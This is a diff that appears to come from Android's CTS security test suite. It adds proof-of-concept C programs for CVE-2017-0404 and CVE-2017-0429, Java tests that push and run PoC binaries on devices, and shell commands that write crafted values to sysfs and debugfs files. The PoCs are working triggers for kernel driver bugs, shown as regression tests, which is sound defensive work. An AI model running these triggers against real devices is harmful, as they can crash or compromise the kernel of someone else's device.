diff --git a/hostsidetests/security/securityPatch/CVE-2017-0404/Android.mk b/hostsidetests/security/securityPatch/CVE-2017-0404/Android.mk
new file mode 100644
index 0000000..ac72a0f
--- /dev/null
+++ b/hostsidetests/security/securityPatch/CVE-2017-0404/Android.mk
@@ -0,0 +1,31 @@
+# Copyright (C) 2016 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH := $(call my-dir)
+
+include $(CLEAR_VARS)
+LOCAL_MODULE := CVE-2017-0404
+LOCAL_SRC_FILES := poc.c
+LOCAL_MULTILIB := both
+LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
+LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
+
+# Tag this module as a cts test artifact
+LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_CTS_TEST_PACKAGE := android.security.cts
+
+LOCAL_ARM_MODE := arm
+LOCAL_CFLAGS := -Wno-unused-parameter
+LOCAL_LDFLAGS += -fPIE -pie
+include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/security/securityPatch/CVE-2017-0404/poc.c b/hostsidetests/security/securityPatch/CVE-2017-0404/poc.c
new file mode 100644
index 0000000..54821ef
--- /dev/null
+++ b/hostsidetests/security/securityPatch/CVE-2017-0404/poc.c
@@ -0,0 +1,49 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+#include <string.h>
+#include <stdio.h>
+#include <stdlib.h>
+#include <unistd.h>
+#include <sys/prctl.h>
+#include <sys/syscall.h>
+#include <sys/types.h>
+#include <pthread.h>
+#include <fcntl.h>
+#include <sys/stat.h>
+#include <semaphore.h>
+#include <sys/socket.h>
+#include <sys/mman.h>
+#include <signal.h>
+#include <sys/wait.h>
+#include <sys/ioctl.h>
+#include <sys/utsname.h>
+#include <sys/ptrace.h>
+
+char buf[4096];
+
+int main(int argc, char const *argv[]){
+	memset(buf, 0xa0, sizeof(buf));
+
+	int fd = open("/proc/asound/version", O_RDWR);
+	if(fd != -1){
+		lseek(fd, 0x1234567800000000, SEEK_SET);
+		write(fd, buf, sizeof(buf));
+	}else{
+		perror("open error\n");
+	}
+	close(fd);
+	return 0;
+}
\ No newline at end of file
diff --git a/hostsidetests/security/securityPatch/CVE-2017-0429/Android.mk b/hostsidetests/security/securityPatch/CVE-2017-0429/Android.mk
new file mode 100644
index 0000000..78cb573
--- /dev/null
+++ b/hostsidetests/security/securityPatch/CVE-2017-0429/Android.mk
@@ -0,0 +1,30 @@
+# Copyright (C) 2016 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH := $(call my-dir)
+
+include $(CLEAR_VARS)
+LOCAL_MODULE := CVE-2017-0429
+LOCAL_SRC_FILES := poc.c
+LOCAL_MULTILIB := both
+LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
+LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
+
+# Tag this module as a cts test artifact
+LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_CTS_TEST_PACKAGE := android.security.cts
+
+LOCAL_ARM_MODE := arm
+LOCAL_LDFLAGS += -fPIE -pie
+include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/security/securityPatch/CVE-2017-0429/poc.c b/hostsidetests/security/securityPatch/CVE-2017-0429/poc.c
new file mode 100644
index 0000000..4ef1b3e
--- /dev/null
+++ b/hostsidetests/security/securityPatch/CVE-2017-0429/poc.c
@@ -0,0 +1,179 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+#define _GNU_SOURCE
+#include <stdio.h>
+#include <stdlib.h>
+#include <pthread.h>
+#include <sys/ioctl.h>
+#include <sys/mman.h>
+#include <errno.h>
+#include <sys/stat.h>
+#include <fcntl.h>
+#include <sched.h>
+#include <sys/types.h>
+#include <signal.h>
+#include <unistd.h>
+// for syscall
+#include <sys/syscall.h>
+// for futex
+#include <linux/futex.h>
+#include <sys/time.h>
+
+#define LOG(fmt, ...)   printf(fmt "\n", ##__VA_ARGS__)
+#define ERR(fmt, ...)   printf(fmt ": %d(%d)\n", ##__VA_ARGS__, errno, errno)
+#define ARRAY_SIZE(a) (sizeof(a) / sizeof((a)[0]))
+
+#define NVMAP_IOC_MAGIC 'N'
+struct nvmap_create_handle {
+	union {
+		__u32 id;	/* FromId */
+		__u32 size;	/* CreateHandle */
+		__s32 fd;	/* DmaBufFd or FromFd */
+	};
+	__u32 handle;		/* returns nvmap handle */
+};
+#define NVMAP_IOC_CREATE  _IOWR(NVMAP_IOC_MAGIC, 0, struct nvmap_create_handle)
+
+struct nvmap_alloc_handle {
+	__u32 handle;		/* nvmap handle */
+	__u32 heap_mask;	/* heaps to allocate from */
+	__u32 flags;		/* wb/wc/uc/iwb etc. */
+	__u32 align;		/* min alignment necessary */
+};
+#define NVMAP_IOC_ALLOC    _IOW(NVMAP_IOC_MAGIC, 3, struct nvmap_alloc_handle)
+
+static int set_affinity(int num)
+{
+	int ret = 0;
+	cpu_set_t mask;
+	CPU_ZERO(&mask);
+	CPU_SET(num, &mask);
+	ret = sched_setaffinity(0, sizeof(cpu_set_t), &mask);
+ 	return ret;
+}
+
+#define SZ_128K				0x00020000
+#define NVHOST_AS_IOCTL_MAGIC 'A'
+struct nvhost_as_bind_channel_args {
+	__u32 channel_fd; /* in */
+} __packed;
+#define NVHOST_AS_IOCTL_BIND_CHANNEL \
+	_IOWR(NVHOST_AS_IOCTL_MAGIC, 1, struct nvhost_as_bind_channel_args)
+
+struct nvhost_as_free_space_args {
+	__u64 offset; /* in, byte address */
+	__u32 pages;     /* in, pages */
+	__u32 page_size; /* in, bytes */
+};
+#define NVHOST_AS_IOCTL_FREE_SPACE \
+	_IOWR(NVHOST_AS_IOCTL_MAGIC, 3, struct nvhost_as_free_space_args)
+
+#define NVHOST_AS_ALLOC_SPACE_FLAGS_SPARSE 0x2
+struct nvhost_as_alloc_space_args {
+	__u32 pages;     /* in, pages */
+	__u32 page_size; /* in, bytes */
+	__u32 flags;     /* in */
+	__u32 padding;     /* in */
+	union {
+		__u64 offset; /* inout, byte address valid iff _FIXED_OFFSET */
+		__u64 align;  /* in, alignment multiple (0:={1 or n/a}) */
+	} o_a;
+};
+#define NVHOST_AS_IOCTL_ALLOC_SPACE \
+	_IOWR(NVHOST_AS_IOCTL_MAGIC, 6, struct nvhost_as_alloc_space_args)
+
+#define CLOSE_THREAD_NUM	1
+#define TRY_TIMES		2
+#define NVMAPDEV	"/dev/nvmap"
+#define GPUDEV		"/dev/nvhost-gpu"
+#define ASDEV		"/dev/nvhost-as-gpu"
+pthread_t close_thread_id[CLOSE_THREAD_NUM] = { 0 };
+int nvmap, gpu, asgpu;
+volatile int attack;
+
+int main(void)
+{
+	int i, j, ret;
+	int dma1, dma2;
+	struct nvmap_create_handle args = { 
+		.size = PAGE_SIZE
+	};
+	struct nvhost_as_bind_channel_args as_bind = { 0 };
+	struct nvhost_as_alloc_space_args alloc = {
+		.pages = 1,
+		.page_size =  SZ_128K,
+		.flags = NVHOST_AS_ALLOC_SPACE_FLAGS_SPARSE
+	};
+	struct nvhost_as_free_space_args free_arg = {
+		.pages = 1,
+		.page_size = SZ_128K
+	};
+
+	/* bind_cpu */
+	set_affinity(0);
+
+	nvmap = open(NVMAPDEV, O_RDONLY);
+	if(nvmap == -1) {
+		ERR("[-] open %s failed", NVMAPDEV);
+		goto __cleanup;
+	}
+	gpu = open(GPUDEV, O_RDONLY);
+	if(gpu == -1) {
+		ERR("[-] open %s failed", GPUDEV);
+		goto __cleanup;
+	}
+	asgpu = open(ASDEV, O_RDONLY);
+	if(asgpu == -1) {
+		ERR("[-] open %s failed", ASDEV);
+		goto __cleanup;
+	}
+	// bind the channel
+	as_bind.channel_fd = gpu;
+	ret = ioctl(asgpu, NVHOST_AS_IOCTL_BIND_CHANNEL, &as_bind);
+	if(ret == -1) {
+		ERR("[-] NVHOST_AS_IOCTL_BIND_CHANNEL failed");
+		goto __cleanup;
+	} else {
+		//LOG("[+] ioctl OK, channel is bond");
+	}
+
+	#if 1
+	// prepare 
+	ret = ioctl(nvmap, NVMAP_IOC_CREATE, &args);
+	if(ret) {
+		ERR("[-] NVMAP_IOC_CREATE failed");
+		goto __cleanup;
+	}
+	#endif
+
+	ret = ioctl(asgpu, NVHOST_AS_IOCTL_ALLOC_SPACE, &alloc);
+	if(ret) {
+		ERR("[-] NVHOST_AS_IOCTL_ALLOC_SPACE failed");
+		goto __cleanup;
+	}
+	free_arg.offset = alloc.o_a.offset;
+	ret = ioctl(asgpu, NVHOST_AS_IOCTL_FREE_SPACE, &free_arg);
+	if(ret) {
+		ERR("[-] NVHOST_AS_IOCTL_FREE_SPACE failed");
+		goto __cleanup;
+	}
+
+__cleanup:
+	close(nvmap);
+	close(gpu);
+	close(asgpu);
+	return 0;
+}
diff --git a/hostsidetests/security/src/android/cts/security/FileSystemPermissionTest.java b/hostsidetests/security/src/android/cts/security/FileSystemPermissionTest.java
new file mode 100644
index 0000000..f4ce1bd
--- /dev/null
+++ b/hostsidetests/security/src/android/cts/security/FileSystemPermissionTest.java
@@ -0,0 +1,138 @@
+package android.cts.security;
+
+import com.android.tradefed.device.ITestDevice;
+import com.android.tradefed.device.DeviceNotAvailableException;
+import com.android.tradefed.testtype.DeviceTestCase;
+
+import java.util.Arrays;
+import java.util.HashSet;
+import java.util.Set;
+
+public class FileSystemPermissionTest extends DeviceTestCase {
+
+   /**
+    * A reference to the device under test.
+    */
+    private ITestDevice mDevice;
+
+    /**
+     * Used to build the find command for finding insecure file system components
+     */
+    private static final String INSECURE_DEVICE_ADB_COMMAND = "find %s -type %s -perm /o=rwx 2>/dev/null";
+
+    /**
+     * Whitelist exceptions of allowed world accessbale char files under /dev
+     */
+    private static final Set<String> CHAR_DEV_EXCEPTIONS = new HashSet<String>(
+        Arrays.asList(
+            // All exceptions should be alphabetical and associated with a bug number.
+            "/dev/adsprpc-smd", // b/11710243
+            "/dev/alarm",      // b/9035217
+            "/dev/ashmem",
+            "/dev/binder",
+            "/dev/card0",       // b/13159510
+            "/dev/renderD128",
+            "/dev/renderD129",  // b/23798677
+            "/dev/dri/card0",   // b/13159510
+            "/dev/dri/renderD128",
+            "/dev/dri/renderD129", // b/23798677
+            "/dev/felica",     // b/11142586
+            "/dev/felica_ant", // b/11142586
+            "/dev/felica_cen", // b/11142586
+            "/dev/felica_pon", // b/11142586
+            "/dev/felica_rfs", // b/11142586
+            "/dev/felica_rws", // b/11142586
+            "/dev/felica_uicc", // b/11142586
+            "/dev/full",
+            "/dev/galcore",
+            "/dev/genlock",    // b/9035217
+            "/dev/graphics/galcore",
+            "/dev/ion",
+            "/dev/kgsl-2d0",   // b/11271533
+            "/dev/kgsl-2d1",   // b/11271533
+            "/dev/kgsl-3d0",   // b/9035217
+            "/dev/log/events", // b/9035217
+            "/dev/log/main",   // b/9035217
+            "/dev/log/radio",  // b/9035217
+            "/dev/log/system", // b/9035217
+            "/dev/mali0",       // b/9106968
+            "/dev/mali",        // b/11142586
+            "/dev/mm_interlock", // b/12955573
+            "/dev/mm_isp",      // b/12955573
+            "/dev/mm_v3d",      // b/12955573
+            "/dev/msm_rotator", // b/9035217
+            "/dev/null",
+            "/dev/nvhost-as-gpu",
+            "/dev/nvhost-ctrl", // b/9088251
+            "/dev/nvhost-ctrl-gpu",
+            "/dev/nvhost-dbg-gpu",
+            "/dev/nvhost-gpu",
+            "/dev/nvhost-gr2d", // b/9088251
+            "/dev/nvhost-gr3d", // b/9088251
+            "/dev/nvhost-tsec",
+            "/dev/nvhost-prof-gpu",
+            "/dev/nvhost-vic",
+            "/dev/nvmap",       // b/9088251
+            "/dev/pmsg0",       // b/31857082
+            "/dev/ptmx",        // b/9088251
+            "/dev/pvrsrvkm",    // b/9108170
+            "/dev/pvr_sync",
+            "/dev/quadd",
+            "/dev/random",
+            "/dev/snfc_cen",    // b/11142586
+            "/dev/snfc_hsel",   // b/11142586
+            "/dev/snfc_intu_poll", // b/11142586
+            "/dev/snfc_rfs",    // b/11142586
+            "/dev/tegra-throughput",
+            "/dev/tiler",       // b/9108170
+            "/dev/tty",
+            "/dev/urandom",
+            "/dev/ump",         // b/11142586
+            "/dev/xt_qtaguid",  // b/9088251
+            "/dev/zero",
+            "/dev/fimg2d",      // b/10428016
+            "/dev/mobicore-user" // b/10428016
+    ));
+
+    @Override
+    protected void setUp() throws Exception {
+        super.setUp();
+        mDevice = getDevice();
+    }
+
+    public void testAllCharacterDevicesAreSecure() throws DeviceNotAvailableException {
+        Set <String> insecure = getAllInsecureDevicesInDirAndSubdir("/dev", "c");
+        Set <String> insecurePts = getAllInsecureDevicesInDirAndSubdir("/dev/pts", "c");
+        insecure.removeAll(CHAR_DEV_EXCEPTIONS);
+        insecure.removeAll(insecurePts);
+        assertTrue("Found insecure character devices: " + insecure.toString(),
+                insecure.isEmpty());
+    }
+
+    public void testAllBlockDevicesAreSecure() throws Exception {
+        Set<String> insecure = getAllInsecureDevicesInDirAndSubdir("/dev", "b");
+        assertTrue("Found insecure block devices: " + insecure.toString(),
+                insecure.isEmpty());
+    }
+
+    /**
+     * Searches for all world accessable files, note this may need sepolicy to search the desired
+     * location and stat files.
+     * @path The path to search, must be a directory.
+     * @type The type of file to search for, must be a valid find command argument to the type
+     *       option.
+     * @returns The set of insecure fs objects found.
+     */
+    private Set<String> getAllInsecureDevicesInDirAndSubdir(String path, String type) throws DeviceNotAvailableException {
+
+        String cmd = getInsecureDeviceAdbCommand(path, type);
+        String output = mDevice.executeShellCommand(cmd);
+        // Splitting an empty string results in an array of an empty string.
+        String [] found = output.length() > 0 ? output.split("\\s") : new String[0];
+        return new HashSet<String>(Arrays.asList(found));
+    }
+
+    private static String getInsecureDeviceAdbCommand(String path, String type) {
+        return String.format(INSECURE_DEVICE_ADB_COMMAND, path, type);
+    }
+}
diff --git a/hostsidetests/security/src/android/security/cts/AdbUtils.java b/hostsidetests/security/src/android/security/cts/AdbUtils.java
index a3018fa..fa9934f 100644
--- a/hostsidetests/security/src/android/security/cts/AdbUtils.java
+++ b/hostsidetests/security/src/android/security/cts/AdbUtils.java
@@ -30,6 +30,7 @@
 import java.io.InputStream;
 import java.io.OutputStream;
 import java.util.Scanner;
+import java.util.concurrent.TimeUnit;
 
 public class AdbUtils {
 
@@ -39,8 +40,7 @@
      * @param device device for the command to be ran on
      * @return the console output from running the command
      */
-    public static String runCommandLine(String command, ITestDevice device) throws Exception
-    {
+    public static String runCommandLine(String command, ITestDevice device) throws Exception {
         return device.executeShellCommand(command);
     }
 
@@ -51,17 +51,25 @@
      * @param device device to be ran on
      * @return the console output from the binary
      */
-    public static String runPoc(String pathToPoc, ITestDevice device) throws Exception {
-        String fullResourceName = pathToPoc;
-        File pocFile = File.createTempFile("poc", "");
-        try {
-            pocFile = extractResource(fullResourceName, pocFile);
-            device.pushFile(pocFile, "/data/local/tmp/poc");
-            device.executeShellCommand("chmod +x /data/local/tmp/poc");
-            return device.executeShellCommand("/data/local/tmp/poc");
-        } finally {
-            pocFile.delete();
-        }
+    public static String runPoc(String pocName, ITestDevice device) throws Exception {
+        device.executeShellCommand("chmod +x /data/local/tmp/" + pocName);
+        return device.executeShellCommand("/data/local/tmp/" + pocName);
+    }
+
+    /**
+     * Pushes and runs a binary to the selected device
+     *
+     * @param pathToPoc a string path to poc from the /res folder
+     * @param device device to be ran on
+     * @param timeout time to wait for output in seconds
+     * @return the console output from the binary
+     */
+    public static String runPoc(String pocName, ITestDevice device, int timeout) throws Exception {
+        device.executeShellCommand("chmod +x /data/local/tmp/" + pocName);
+        CollectingOutputReceiver receiver = new CollectingOutputReceiver();
+        device.executeShellCommand("/data/local/tmp/" + pocName, receiver, timeout, TimeUnit.SECONDS, 0);
+        String output = receiver.getOutput();
+        return output;
     }
 
     /**
diff --git a/hostsidetests/security/src/android/security/cts/Poc16_10.java b/hostsidetests/security/src/android/security/cts/Poc16_10.java
new file mode 100644
index 0000000..d04ebea
--- /dev/null
+++ b/hostsidetests/security/src/android/security/cts/Poc16_10.java
@@ -0,0 +1,107 @@
+/**
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import com.android.tradefed.device.CollectingOutputReceiver;
+import com.android.tradefed.device.DeviceNotAvailableException;
+import com.android.tradefed.device.ITestDevice;
+import com.android.tradefed.testtype.DeviceTestCase;
+
+import android.platform.test.annotations.RootPermissionTest;
+import android.platform.test.annotations.SecurityTest;
+
+import java.io.BufferedOutputStream;
+import java.io.File;
+import java.io.FileOutputStream;
+import java.io.IOException;
+import java.io.InputStream;
+import java.io.OutputStream;
+import java.util.Scanner;
+
+@SecurityTest
+public class Poc16_10 extends SecurityTestCase {
+
+    /**
+     *  b/30904789
+     */
+    @SecurityTest
+    public void testPocCVE_2016_6730() throws Exception {
+        if(containsDriver(getDevice(), "/dev/dri/renderD129")) {
+            AdbUtils.runPoc("CVE-2016-6730", getDevice(), 60);
+        }
+    }
+
+    /**
+     *  b/30906023
+     */
+    @SecurityTest
+    public void testPocCVE_2016_6731() throws Exception {
+        if(containsDriver(getDevice(), "/dev/dri/renderD129")) {
+            AdbUtils.runPoc("CVE-2016-6731", getDevice(), 60);
+        }
+    }
+
+    /**
+     *  b/30906599
+     */
+    @SecurityTest
+    public void testPocCVE_2016_6732() throws Exception {
+        if(containsDriver(getDevice(), "/dev/dri/renderD129")) {
+            AdbUtils.runPoc("CVE-2016-6732", getDevice(), 60);
+        }
+    }
+
+    /**
+     *  b/30906694
+     */
+    @SecurityTest
+    public void testPocCVE_2016_6733() throws Exception {
+        if(containsDriver(getDevice(), "/dev/dri/renderD129")) {
+            AdbUtils.runPoc("CVE-2016-6733", getDevice(), 60);
+        }
+    }
+
+    /**
+     *  b/30907120
+     */
+    @SecurityTest
+    public void testPocCVE_2016_6734() throws Exception {
+        if(containsDriver(getDevice(), "/dev/dri/renderD129")) {
+            AdbUtils.runPoc("CVE-2016-6734", getDevice(), 60);
+        }
+    }
+
+    /**
+     *  b/30907701
+     */
+    @SecurityTest
+    public void testPocCVE_2016_6735() throws Exception {
+        if(containsDriver(getDevice(), "/dev/dri/renderD129")) {
+            AdbUtils.runPoc("CVE-2016-6735", getDevice(), 60);
+        }
+    }
+
+    /**
+     *  b/30953284
+     */
+    @SecurityTest
+    public void testPocCVE_2016_6736() throws Exception {
+        if(containsDriver(getDevice(), "/dev/dri/renderD129")) {
+            AdbUtils.runPoc("CVE-2016-6736", getDevice(), 60);
+        }
+    }
+}
diff --git a/hostsidetests/security/src/android/security/cts/Poc16_12.java b/hostsidetests/security/src/android/security/cts/Poc16_12.java
new file mode 100644
index 0000000..a6160d5
--- /dev/null
+++ b/hostsidetests/security/src/android/security/cts/Poc16_12.java
@@ -0,0 +1,258 @@
+/**
+0;256;0c * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import com.android.tradefed.device.CollectingOutputReceiver;
+import com.android.tradefed.device.DeviceNotAvailableException;
+import com.android.tradefed.device.ITestDevice;
+import com.android.tradefed.testtype.DeviceTestCase;
+
+import android.platform.test.annotations.RootPermissionTest;
+import android.platform.test.annotations.SecurityTest;
+
+import java.io.BufferedOutputStream;
+import java.io.File;
+import java.io.FileOutputStream;
+import java.io.IOException;
+import java.io.InputStream;
+import java.io.OutputStream;
+import java.util.Scanner;
+
+@SecurityTest
+public class Poc16_12 extends SecurityTestCase {
+
+    //Criticals
+    /**
+     *  b/31606947
+     */
+    @SecurityTest
+    public void testPocCVE_2016_8424() throws Exception {
+        if(containsDriver(getDevice(), "/dev/nvmap")) {
+            AdbUtils.runPoc("CVE-2016-8424", getDevice(), 60);
+        }
+    }
+
+    /**
+     *  b/31797770
+     */
+    @SecurityTest
+    public void testPocCVE_2016_8425() throws Exception {
+        if(containsDriver(getDevice(), "/dev/nvhost-vic")) {
+            AdbUtils.runPoc("CVE-2016-8425", getDevice(), 60);
+        }
+    }
+
+    /**
+     *  b/31799206
+     */
+    @SecurityTest
+    public void testPocCVE_2016_8426() throws Exception {
+        if(containsDriver(getDevice(), "/dev/nvhost-gpu")) {
+            AdbUtils.runPoc("CVE-2016-8426", getDevice(), 60);
+        }
+    }
+
+    /**
+     *  b/31799885
+     */
+    @SecurityTest
+    public void testPocCVE_2016_8427() throws Exception {
+        if(containsDriver(getDevice(), "/dev/nvhost-gpu") ||
+              containsDriver(getDevice(), "/dev/nvhost-dbg-gpu")) {
+            AdbUtils.runPoc("CVE-2016-8427", getDevice(), 60);
+        }
+    }
+
+    /**
+     *  b/31993456
+     */
+    @SecurityTest
+    public void testPocCVE_2016_8428() throws Exception {
+        if(containsDriver(getDevice(), "/dev/nvmap")) {
+            AdbUtils.runPoc("CVE-2016-8428", getDevice(), 60);
+        }
+    }
+
+    /**
+     *  b/32160775
+     */
+    @SecurityTest
+    public void testPocCVE_2016_8429() throws Exception {
+        if(containsDriver(getDevice(), "/dev/nvmap")) {
+            AdbUtils.runPoc("CVE-2016-8429", getDevice(), 60);
+        }
+    }
+
+    /**
+     *  b/32225180
+     */
+    @SecurityTest
+    public void testPocCVE_2016_8430() throws Exception {
+        if(containsDriver(getDevice(), "/dev/nvhost-vic")) {
+            AdbUtils.runPoc("CVE-2016-8430", getDevice(), 60);
+        }
+    }
+
+   /**
+     *  b/32402179
+     */
+    @SecurityTest
+    public void testPocCVE_2016_8431() throws Exception {
+        if(containsDriver(getDevice(), "/dev/dri/renderD129")) {
+            AdbUtils.runPoc("CVE-2016-8431", getDevice(), 60);
+        }
+    }
+
+    /**
+     *  b/32447738
+     */
+    @SecurityTest
+    public void testPocCVE_2016_8432() throws Exception {
+        if(containsDriver(getDevice(), "/dev/dri/renderD129")) {
+            AdbUtils.runPoc("CVE-2016-8432", getDevice(), 60);
+        }
+    }
+
+    /**
+     *  b/32125137
+     */
+    @SecurityTest
+    public void testPocCVE_2016_8434() throws Exception {
+        if(containsDriver(getDevice(), "/dev/kgsl-3d0")) {
+            AdbUtils.runPoc("CVE-2016-8434", getDevice(), 60);
+        }
+    }
+
+    /**
+     *  b/32700935
+     */
+    @SecurityTest
+    public void testPocCVE_2016_8435() throws Exception {
+        enableAdbRoot(getDevice());
+        if(containsDriver(getDevice(), "/dev/dri/renderD129")) {
+            AdbUtils.runPoc("CVE-2016-8435", getDevice(), 60);
+        }
+    }
+
+    /**
+     *  b/31568617
+     */
+    @SecurityTest
+    public void testPocCVE_2016_9120() throws Exception {
+        enableAdbRoot(getDevice());
+        if(containsDriver(getDevice(), "/dev/ion")) {
+            AdbUtils.runPoc("CVE-2016-9120", getDevice(), 60);
+        }
+    }
+
+    //Highs
+    /**
+     *  b/31225246
+     */
+    @SecurityTest
+    public void testPocCVE_2016_8412() throws Exception {
+        enableAdbRoot(getDevice());
+        if(containsDriver(getDevice(), "/dev/v4l-subdev7")) {
+            AdbUtils.runPoc("CVE-2016-8412", getDevice(), 60);
+        }
+    }
+
+    /**
+     *  b/31243641
+     */
+    @SecurityTest
+    public void testPocCVE_2016_8444() throws Exception {
+        enableAdbRoot(getDevice());
+        if(containsDriver(getDevice(), "/dev/v4l-subdev17")) {
+            AdbUtils.runPoc("CVE-2016-8444", getDevice(), 60);
+        }
+    }
+
+    /**
+     *  b/31791148
+     */
+    @SecurityTest
+    public void testPocCVE_2016_8448() throws Exception {
+        enableAdbRoot(getDevice());
+        if(containsDriver(getDevice(), "/dev/graphics/fb0")) {
+            AdbUtils.runPoc("CVE-2016-8448", getDevice(), 60);
+        }
+    }
+
+    /**
+     *  b/31798848
+     */
+    @SecurityTest
+    public void testPocCVE_2016_8449() throws Exception {
+        enableAdbRoot(getDevice());
+        if(containsDriver(getDevice(), "/dev/tegra_avpchannel")) {
+            AdbUtils.runPoc("CVE-2016-8449", getDevice(), 60);
+        }
+    }
+
+    /**
+     *  b/31668540
+     */
+    @SecurityTest
+    public void testPocCVE_2016_8460() throws Exception {
+        if(containsDriver(getDevice(), "/dev/nvmap")) {
+            String result = AdbUtils.runPoc("CVE-2016-8460", getDevice(), 60);
+            assertTrue(!result.equals("Vulnerable"));
+        }
+    }
+
+    /**
+     *  b/32402548
+     */
+    @SecurityTest
+    public void testPocCVE_2017_0403() throws Exception {
+        enableAdbRoot(getDevice());
+        AdbUtils.runPoc("CVE-2017-0403", getDevice(), 60);
+    }
+
+    /**
+     *  b/32510733
+     */
+    @SecurityTest
+    public void testPocCVE_2017_0404() throws Exception {
+        enableAdbRoot(getDevice());
+        if(containsDriver(getDevice(), "/proc/asound/version")) {
+            AdbUtils.runPoc("CVE-2017-0404", getDevice(), 60);
+        }
+    }
+
+    /**
+     *  b/32178033
+     */
+    @SecurityTest
+    public void testPocCVE_2016_8451() throws Exception {
+        enableAdbRoot(getDevice());
+        String command =
+            "echo AAAAAAAAA > /sys/devices/f9924000.i2c/i2c-2/2-0070/power_control";
+        AdbUtils.runCommandLine(command, getDevice());
+    }
+
+    /**
+     *  b/32659848
+     */
+    @SecurityTest
+    public void testPoc32659848() throws Exception {
+        String command =
+            "echo 18014398509481980 > /sys/kernel/debug/tracing/buffer_size_kb";
+        AdbUtils.runCommandLine(command, getDevice());
+    }
+}
diff --git a/hostsidetests/security/src/android/security/cts/Poc17_01.java b/hostsidetests/security/src/android/security/cts/Poc17_01.java
new file mode 100644
index 0000000..f8ed22a
--- /dev/null
+++ b/hostsidetests/security/src/android/security/cts/Poc17_01.java
@@ -0,0 +1,44 @@
+/**
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import android.platform.test.annotations.SecurityTest;
+
+@SecurityTest
+public class Poc17_01 extends SecurityTestCase {
+
+    /**
+     *  b/31799863
+     */
+    @SecurityTest
+    public void testPocCVE_2016_8482() throws Exception {
+        if(containsDriver(getDevice(), "/dev/nvmap")) {
+            AdbUtils.runPoc("CVE-2016-8482", getDevice(), 60);
+        }
+    }
+
+   /**
+     *  b/32636619
+     */
+    @SecurityTest
+    public void testPocCVE_2017_0429() throws Exception {
+        if(containsDriver(getDevice(), "/dev/nvhost-as-gpu")) {
+            enableAdbRoot(getDevice());
+            AdbUtils.runPoc("CVE-2017-0429", getDevice(), 60);
+        }
+    }
+ }
diff --git a/hostsidetests/security/src/android/security/cts/SELinuxHostTest.java b/hostsidetests/security/src/android/security/cts/SELinuxHostTest.java
index c7368d8..c18106d 100644
--- a/hostsidetests/security/src/android/security/cts/SELinuxHostTest.java
+++ b/hostsidetests/security/src/android/security/cts/SELinuxHostTest.java
@@ -18,12 +18,12 @@
 
 import android.platform.test.annotations.RestrictedBuildTest;
 
+import com.android.compatibility.common.util.PropertyUtil;
 import com.android.cts.migration.MigrationHelper;
 import com.android.tradefed.build.IBuildInfo;
 import com.android.tradefed.device.CollectingOutputReceiver;
 import com.android.tradefed.device.DeviceNotAvailableException;
